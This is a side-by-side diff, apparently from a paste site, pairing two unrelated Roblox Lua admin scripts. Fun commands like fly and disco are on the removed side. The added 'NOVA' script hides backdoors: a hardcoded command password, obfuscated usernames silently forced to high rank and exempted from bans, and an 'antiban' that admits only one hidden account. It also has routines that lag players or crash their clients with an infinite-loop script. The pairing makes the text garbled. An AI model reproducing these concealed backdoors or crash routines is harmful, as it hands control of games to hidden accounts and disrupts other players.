1584 | - | if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then |
1584 | + | |
1585 | - | speed = speed+.5+(speed/maxspeed) |
1585 | + | for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do |
1586 | - | if speed > maxspeed then |
1586 | + | pcall(function() |
1587 | - | speed = maxspeed |
1587 | + | table.insert(NOVA.LoggedScripts,v) |
1588 | - | end |
1588 | + | end) |
1589 | - | elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then |
1589 | + | |
1590 | - | speed = speed-1 |
1590 | + | |
1591 | - | if speed < 0 then |
1591 | + | --[[ GLOBAL FUNCTIONS ]]-- |
1592 | - | speed = 0 |
1592 | + | function SetGlobals() |
1593 | - | end |
1593 | + | if NOVA.UseGlobals == true then |
1594 | - | end |
1594 | + | _G.NOVACommands = function(Msg,Speaker,Players,Password) |
1595 | - | if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then |
1595 | + | if Password == "grandma" then |
1596 | - | bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed |
1596 | + | NOVA.ExternalPlayersList = {} |
1597 | - | lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} |
1597 | + | for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end |
1598 | - | elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then |
1598 | + | OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker) |
1599 | - | bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed |
1599 | + | end |
1600 | - | else |
1600 | + | end |
1601 | - | bv.velocity = Vector3.new(0,0.1,0) |
1601 | + | |
1602 | - | end |
1602 | + | _G.RemoveNOVA = function(Pass) |
1603 | - | bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) |
1603 | + | if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then |
1604 | - | until not flying |
1604 | + | NOVA.Removed = true |
1605 | - | ctrl = {f = 0, b = 0, l = 0, r = 0} |
1605 | + | NOVA = {} |
1606 | - | lastctrl = {f = 0, b = 0, l = 0, r = 0} |
1606 | + | error("Unknown Exception")() |
1607 | - | speed = 0 |
1607 | + | script.Disabled = true |
1608 | - | bg:Destroy() |
1608 | + | script:Remove() |
1609 | - | bv:Destroy() |
1609 | + | else |
1610 | - | plr.Character.Humanoid.PlatformStand = false |
1610 | + | return false |
1611 | - | end |
1611 | + | end |
1612 | - | mouse.KeyDown:connect(function(key) |
1612 | + | end |
1613 | - | if key:lower() == "e" then |
1613 | + | |
1614 | - | if flying then flying = false |
1614 | + | _G.NOVAOverride = function(Player,Password) |
1615 | - | else |
1615 | + | if Password == nil then Password = "" end |
1616 | - | flying = true |
1616 | + | CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player) |
1617 | - | Fly() |
1617 | + | return CanOverride |
1618 | - | end |
1618 | + | end |
1619 | - | elseif key:lower() == "w" then |
1619 | + | elseif NOVA.UseGlobals == false then |
1620 | - | ctrl.f = 1 |
1620 | + | _G.NOVACommands = nil |
1621 | - | elseif key:lower() == "s" then |
1621 | + | _G.RemoveNOVA = nil |
1622 | - | ctrl.b = -1 |
1622 | + | _G.NOVAOverride = nil |
1623 | - | elseif key:lower() == "a" then |
1623 | + | end |
1624 | - | ctrl.l = -1 |
1624 | + | |
1625 | - | elseif key:lower() == "d" then |
1625 | + | |
1626 | - | ctrl.r = 1 |
1626 | + | --[[ INITIAL STARTUP ]]-- |
1627 | - | end |
1627 | + | |
1628 | - | end) |
1628 | + | SetGlobals() |
1629 | - | mouse.KeyUp:connect(function(key) |
1629 | + | UpdatePlayerPlugins() |
1630 | - | if key:lower() == "w" then |
1630 | + | |
1631 | - | ctrl.f = 0 |
1631 | + | if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then |
1632 | - | elseif key:lower() == "s" then |
1632 | + | for _,v in pairs(NOVA.LoggedScripts) do |
1633 | - | ctrl.b = 0 |
1633 | + | if v:IsA("LocalScript") and v:FindFirstChild("DSource") then |
1634 | - | elseif key:lower() == "a" then |
1634 | + | NOVA.LocalScript = v:Clone() |
1635 | - | ctrl.l = 0 |
1635 | + | elseif v:IsA("Script") and v:FindFirstChild("DSource") then |
1636 | - | elseif key:lower() == "d" then |
1636 | + | NOVA.NormalScript = v:Clone() |
1637 | - | ctrl.r = 0 |
1637 | + | end |
1638 | - | end |
1638 | + | end |
1639 | end | |
1640 | - | Fly()]] |
1640 | + | |
1641 | - | cl.Parent = v.PlayerGui cl.Disabled = false |
1641 | + | for _,v in pairs(GetPlayersRaw()) do |
1642 | pcall(function() | |
1643 | coroutine.resume(coroutine.create(function() | |
1644 | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."}) | |
1645 | pcall(function() | |
1646 | v.PlayerGui.NOVACMD:Remove() | |
1647 | - | if msg:lower():sub(1,6) == "unfly " then |
1647 | + | end) |
1648 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1648 | + | |
1649 | - | for i, v in pairs(plrz) do |
1649 | + | if GetRankedTable(v)==nil then |
1650 | SyncRankInSingular(v) | |
1651 | - | if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then |
1651 | + | repeat wait() until GetRankedTable(v) ~= nil |
1652 | - | for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end |
1652 | + | end |
1653 | - | for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end |
1653 | + | |
1654 | - | wait(.1) v.Character.Humanoid.PlatformStand = false |
1654 | + | local Data = GetRankedTable(v) |
1655 | ||
1656 | v.Chatted:connect(function(Msg) | |
1657 | OnChatted(Msg,v) | |
1658 | end) | |
1659 | coroutine.resume(coroutine.create(function() | |
1660 | - | if msg:lower() == "disco" then |
1660 | + | repeat wait() until v:FindFirstChild("Backpack") ~= nil |
1661 | - | for i, v in pairs(lobjs) do v:Destroy() end |
1661 | + | CreateLocalScript(PlayerPlugins,v.Backpack) |
1662 | - | local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) |
1662 | + | end)) |
1663 | - | game.Lighting.Ambient = color |
1663 | + | end)) |
1664 | - | game.Lighting.FogColor = color |
1664 | + | end) |
1665 | - | until nil]] |
1665 | + | |
1666 | - | table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false |
1666 | + | |
1667 | --[[ PLAYER ADDED ]]-- | |
1668 | NOVA.Services.Players.PlayerAdded:connect(function(v) | |
1669 | - | if msg:lower() == "flash" then |
1669 | + | if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then |
1670 | - | for i, v in pairs(lobjs) do v:Destroy() end |
1670 | + | makeMessage("Antiban is active you cannot enter",v.PlayerGui) |
1671 | - | local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) |
1671 | + | v:Remove() |
1672 | - | game.Lighting.Ambient = Color3.new(1,1,1) |
1672 | + | |
1673 | - | game.Lighting.FogColor = Color3.new(1,1,1) |
1673 | + | if NOVA.Removed == false then |
1674 | - | game.Lighting.Brightness = 1 |
1674 | + | pcall(function() |
1675 | - | game.Lighting.TimeOfDay = 14 |
1675 | + | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."}) |
1676 | - | wait(.1) |
1676 | + | coroutine.resume(coroutine.create(function() |
1677 | - | game.Lighting.Ambient = Color3.new(0,0,0) |
1677 | + | --if Data.Rank < 1 then |
1678 | - | game.Lighting.FogColor = Color3.new(0,0,0) |
1678 | + | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
1679 | - | game.Lighting.Brightness = 0 |
1679 | + | coroutine.resume(coroutine.create(function() |
1680 | - | game.Lighting.TimeOfDay = 0 |
1680 | + | repeat wait() until v:FindFirstChild("Backpack") ~= nil |
1681 | - | until nil]] |
1681 | + | CreateLocalScript(PlayerPlugins,v.Backpack) |
1682 | - | table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false |
1682 | + | OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v) |
1683 | end)) | |
1684 | end | |
1685 | - | if msg:lower():sub(1,5) == "spin " then |
1685 | + | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
1686 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
1686 | + | coroutine.resume(coroutine.create(function() |
1687 | - | for i, v in pairs(plrz) do |
1687 | + | repeat wait() until v:FindFirstChild("Backpack") ~= nil |
1688 | OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v) | |
1689 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1689 | + | end)) |
1690 | - | for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end |
1690 | + | end |
1691 | - | local torso = v.Character:findFirstChild("Torso") |
1691 | + | --end |
1692 | - | local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg) |
1692 | + | v.Chatted:connect(function(Msg) |
1693 | - | repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0) |
1693 | + | OnChatted(Msg,v) |
1694 | - | until not bg or bg.Parent ~= torso |
1694 | + | end) |
1695 | if GetRankedTable(v)==nil then | |
1696 | SyncRankInSingular(v) | |
1697 | repeat wait() until GetRankedTable(v) ~= nil | |
1698 | end | |
1699 | ||
1700 | - | if msg:lower():sub(1,7) == "unspin " then |
1700 | + | local Data = GetRankedTable(v) |
1701 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1701 | + | |
1702 | - | for i, v in pairs(plrz) do |
1702 | + | OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5) |
1703 | ||
1704 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1704 | + | if Data.Rank == -2 then |
1705 | - | for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end |
1705 | + | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
1706 | OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10) | |
1707 | Lag(v) | |
1708 | end | |
1709 | end | |
1710 | ||
1711 | - | if msg:lower():sub(1,4) == "dog " then |
1711 | + | if Data.Rank == -1 then |
1712 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
1712 | + | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
1713 | - | for i, v in pairs(plrz) do |
1713 | + | OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10) |
1714 | GetRidOf(v) | |
1715 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1715 | + | end |
1716 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1716 | + | end |
1717 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1717 | + | |
1718 | - | v.Character.Torso.Transparency = 1 |
1718 | + | if not Data.Rank > 0 then |
1719 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1719 | + | if v.AccountAge < 5 then |
1720 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0) |
1720 | + | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
1721 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0) |
1721 | + | if v.Name:sub(1,6) == "Guest " then |
1722 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0) |
1722 | + | if NOVA.EnableGuests == false then |
1723 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0) |
1723 | + | OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10) |
1724 | - | local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame |
1724 | + | GetRidOf(v) |
1725 | - | local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0) |
1725 | + | end |
1726 | - | local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0) |
1726 | + | else |
1727 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end |
1727 | + | if not Data.Rank > 0 then |
1728 | OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10) | |
1729 | GetRidOf(v) | |
1730 | end | |
1731 | end | |
1732 | end | |
1733 | - | if msg:lower():sub(1,6) == "undog " then |
1733 | + | end |
1734 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1734 | + | end |
1735 | - | for i, v in pairs(plrz) do |
1735 | + | |
1736 | if NOVA.PRI == true then | |
1737 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1737 | + | if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
1738 | - | if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end |
1738 | + | OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6) |
1739 | - | if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end |
1739 | + | if NOVA.PRIType == "Kick" then |
1740 | - | v.Character.Torso.Transparency = 0 |
1740 | + | v:Remove() |
1741 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1741 | + | elseif NOVA.PRIType == "Lag" then |
1742 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) |
1742 | + | Lag(v) |
1743 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) |
1743 | + | elseif NOVA.PRIType == "Shutdown" then |
1744 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) |
1744 | + | coroutine.resume(coroutine.create(function() |
1745 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) |
1745 | + | GetRidOf(v) |
1746 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end |
1746 | + | end)) |
1747 | elseif NOVA.PRIType == "Crash" then | |
1748 | coroutine.resume(coroutine.create(function() | |
1749 | repeat wait() until v.Backpack ~= nil | |
1750 | pcall(function() | |
1751 | CreateLocalScript([[while true do end]],v.Backpack) | |
1752 | - | if msg:lower():sub(1,8) == "creeper " then |
1752 | + | end) |
1753 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1753 | + | end)) |
1754 | - | for i, v in pairs(plrz) do |
1754 | + | end |
1755 | end | |
1756 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1756 | + | end |
1757 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1757 | + | end)) |
1758 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1758 | + | end) |
1759 | - | v.Character.Torso.Transparency = 0 |
1759 | + | end |
1760 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1760 | + | |
1761 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0) |
1761 | + | |
1762 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0) |
1762 | + | --[[ PLAYER REMOVING ]]-- |
1763 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0) |
1763 | + | NOVA.Services.Players.PlayerRemoving:connect(function(v) |
1764 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0) |
1764 | + | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."}) |
1765 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end |
1765 | + | SyncRankOutSingular(v) |
1766 | end) | |
1767 | ||
1768 | --[[ SCRIPT CONTROL ]]-- | |
1769 | for _,Service in pairs(NOVA.Services) do | |
1770 | pcall(function() | |
1771 | - | if msg:lower():sub(1,10) == "uncreeper " then |
1771 | + | Service.DescendantAdded:connect(function(v) |
1772 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
1772 | + | if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then |
1773 | - | for i, v in pairs(plrz) do |
1773 | + | pcall(function() |
1774 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 then | |
1775 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1775 | + | if GetRank(v.Owner.Value) < 6 then |
1776 | - | if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end |
1776 | + | pcall(function() v.Disabled = true end) |
1777 | - | if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end |
1777 | + | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) |
1778 | - | v.Character.Torso.Transparency = 0 |
1778 | + | pcall(function() v.Disabled = false end) |
1779 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1779 | + | pcall(function() v:Destroy() end) |
1780 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) |
1780 | + | end |
1781 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) |
1781 | + | else |
1782 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) |
1782 | + | pcall(function() v.Disabled = true end) |
1783 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) |
1783 | + | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) |
1784 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end |
1784 | + | pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) |
1785 | pcall(function() v.Disabled = false end) | |
1786 | pcall(function() v:Destroy() end) | |
1787 | end | |
1788 | end) | |
1789 | end | |
1790 | - | if msg:lower():sub(1,8) == "bighead " then |
1790 | + | if v:IsA("BaseScript") and NOVA.Removed == false then |
1791 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1791 | + | pcall(function() |
1792 | - | for i, v in pairs(plrz) do |
1792 | + | if tonumber(GetRank(v.Owner.Value)) < 0 then |
1793 | pcall(function() v.Disabled = true end) | |
1794 | - | if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end |
1794 | + | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end) |
1795 | pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end) | |
1796 | pcall(function() v.Disabled = false end) | |
1797 | pcall(function() v:Destroy() end) | |
1798 | end | |
1799 | - | if msg:lower():sub(1,9) == "minihead " then |
1799 | + | end) |
1800 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1800 | + | end |
1801 | - | for i, v in pairs(plrz) do |
1801 | + | end) |
1802 | end) | |
1803 | - | if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end |
1803 | + | |
1804 | coroutine.resume(coroutine.create(function() | |
1805 | while wait(1) do | |
1806 | if NOVA.Removed == false then | |
1807 | for _,v in pairs(GetPlayersRaw()) do | |
1808 | - | if msg:lower():sub(1,6) == "fling " then |
1808 | + | if GetRankTedable(v) ~= nil and GetRank(v) < 8 then |
1809 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1809 | + | SyncRankInSingular(v) |
1810 | - | for i, v in pairs(plrz) do |
1810 | + | end |
1811 | end | |
1812 | - | if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then |
1812 | + | end |
1813 | - | local xran local zran |
1813 | + | end |
1814 | - | repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 |
1814 | + | |
1815 | - | repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 |
1815 | + | for i=1,3 do |
1816 | - | v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0) |
1816 | + | NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end) |
1817 | - | local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) |
1817 | + | coroutine.resume(coroutine.create(function() |
1818 | while wait() do | |
1819 | if NOVA.Removed == false then | |
1820 | UpdateTablets() | |
1821 | end | |
1822 | end | |
1823 | - | if msg:lower():sub(1,8) == "seizure " then |
1823 | + | end)) |
1824 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1824 | + | |
1825 | - | for i, v in pairs(plrz) do |
1825 | + | function MainLoop() |
1826 | coroutine.resume(coroutine.create(function() | |
1827 | - | if v and v.Character then |
1827 | + | pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end) |
1828 | - | v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) |
1828 | + | if NOVA.Removed == false then |
1829 | - | local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]] |
1829 | + | |
1830 | - | table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false |
1830 | + | --[[ SCUM CARETAKER ]]-- |
1831 | for _,v in pairs(GetPlayersRaw()) do | |
1832 | pcall(function() | |
1833 | if GetRank(v) < 0 then | |
1834 | pcall(function() v.Backpack:ClearAllChildren() end) | |
1835 | pcall(function() v.PlayerGui:ClearAllChildren() end) | |
1836 | - | if msg:lower():sub(1,10) == "unseizure " then |
1836 | + | pcall(function() v.StarterGear:ClearAllChildren() end) |
1837 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
1837 | + | end |
1838 | - | for i, v in pairs(plrz) do |
1838 | + | end) |
1839 | end | |
1840 | - | if v and v.Character then |
1840 | + | |
1841 | - | for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end |
1841 | + | --[[ ANTI ROBLOXLOCKED PLAYERS ]]-- |
1842 | - | wait(.1) v.Character.Humanoid.PlatformStand = false |
1842 | + | for _,v in pairs(GetPlayersRaw()) do |
1843 | pcall(function() | |
1844 | local IsRobloxLocked = true | |
1845 | pcall(function() v:GetChildren() IsRobloxLocked = false end) | |
1846 | if IsRobloxLocked == true then | |
1847 | GTFO(v) | |
1848 | - | if msg:lower():sub(1,12) == "removelimbs " then |
1848 | + | end |
1849 | - | local plrz = GetPlr(plr, msg:lower():sub(13)) |
1849 | + | end) |
1850 | - | for i, v in pairs(plrz) do |
1850 | + | end |
1851 | ||
1852 | - | if v and v.Character then |
1852 | + | --[[ TABLET CLEANUP ]]-- |
1853 | - | for a, obj in pairs(v.Character:children()) do |
1853 | + | pcall(function() |
1854 | - | if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end |
1854 | + | for i,v in pairs(NOVA.Tablets) do |
1855 | if v:FindFirstChild("Part") == nil then | |
1856 | pcall(function() v:Destroy() end) | |
1857 | table.remove(NOVA.Tablets,i) | |
1858 | end | |
1859 | end | |
1860 | end) | |
1861 | - | if msg:lower():sub(1,5) == "name " then |
1861 | + | |
1862 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1862 | + | --[[ JAIL CLEANUP ]]-- |
1863 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1863 | + | pcall(function() |
1864 | - | for i, v in pairs(plrz) do |
1864 | + | for i,v in pairs(NOVA.Jails) do |
1865 | if v.Player == nil or v.Player.Parent == nil then | |
1866 | - | if v and v.Character and v.Character:findFirstChild("Head") then |
1866 | + | pcall(function() v.Jail:Destroy() end) |
1867 | - | for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end |
1867 | + | table.remove(NOVA.Jails,i) |
1868 | - | local char = v.Character |
1868 | + | end |
1869 | - | local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1) |
1869 | + | if v.Jail.Parent == nil and v.Speaker~=nil then |
1870 | - | local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0 |
1870 | + | table.remove(NOVA.Jails,i) |
1871 | - | local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head |
1871 | + | OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker) |
1872 | - | char.Head.Transparency = 1 |
1872 | + | end |
1873 | end | |
1874 | end) | |
1875 | --[[ FENCE CLEANUP ]]-- | |
1876 | pcall(function() | |
1877 | for i,v in pairs(NOVA.Fences) do | |
1878 | - | if msg:lower():sub(1,7) == "unname " then |
1878 | + | if v.Player == nil then |
1879 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1879 | + | v.Fence:Remove() |
1880 | - | for i, v in pairs(plrz) do |
1880 | + | table.remove(NOVA.Fences,i) |
1881 | end | |
1882 | - | if v and v.Character and v.Character:findFirstChild("Head") then |
1882 | + | end |
1883 | - | for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end |
1883 | + | end) |
1884 | ||
1885 | --[[ CMD GUI ]]-- | |
1886 | for _,v in pairs(GetPlayersRaw()) do | |
1887 | pcall(function() | |
1888 | if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then | |
1889 | - | if msg:lower():sub(1,5) == "char " then |
1889 | + | if v:FindFirstChild("PlayerGui") then |
1890 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
